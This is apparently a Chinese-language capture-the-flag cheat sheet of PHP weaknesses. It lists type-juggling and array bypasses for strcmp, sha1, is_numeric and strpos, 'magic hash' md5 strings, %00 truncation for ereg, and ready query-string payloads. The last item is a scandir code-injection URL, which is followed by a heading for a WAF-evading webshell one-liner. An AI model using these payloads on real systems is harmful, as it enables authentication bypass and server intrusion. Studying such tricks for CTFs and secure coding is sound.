1. extract变量覆盖:
extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
2. trim():
移除字符串两侧的空白字符或其他预定义字符。# - file_get_contents():将整个文件读入一个字符串
3. strcmp():
int strcmp ( string str1,string str2 )
str1是第一个字符串,str2是第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
但是如果我们传入非字符串类型的数据的时候,这个函数将发生错误,在5.3之前的php中,显示了报错的警告信息后,将return 0 ! 也就是虽然报了错,但却判定其相等了。
因此,解这道题,就只要传入一个非字符串类型的变量即可,一般情况下,我们传数组
4.is_numeric():
判断变量是否为数字或数字字符串
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
解题思路:is_numeric()函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断
PAYLOAD:?password=2345%20或者?password=2345%00还可以是?password[]=2345
5.sha():
处理数组的时候会返回null
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>
所以构造:?name[]=1&password[]=2
6.md5()
下面是一些特殊md5值
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
7. ==
可以直接比较十进制和十六进制
3735929054 == 0xdeadc0de
8.ereg()
可以用%00进行截断
9.strpos():
输入数组返回null
10.?s=print_r(scandir(%27./%27))
上面是执行目录扫描
下面是过狗一句话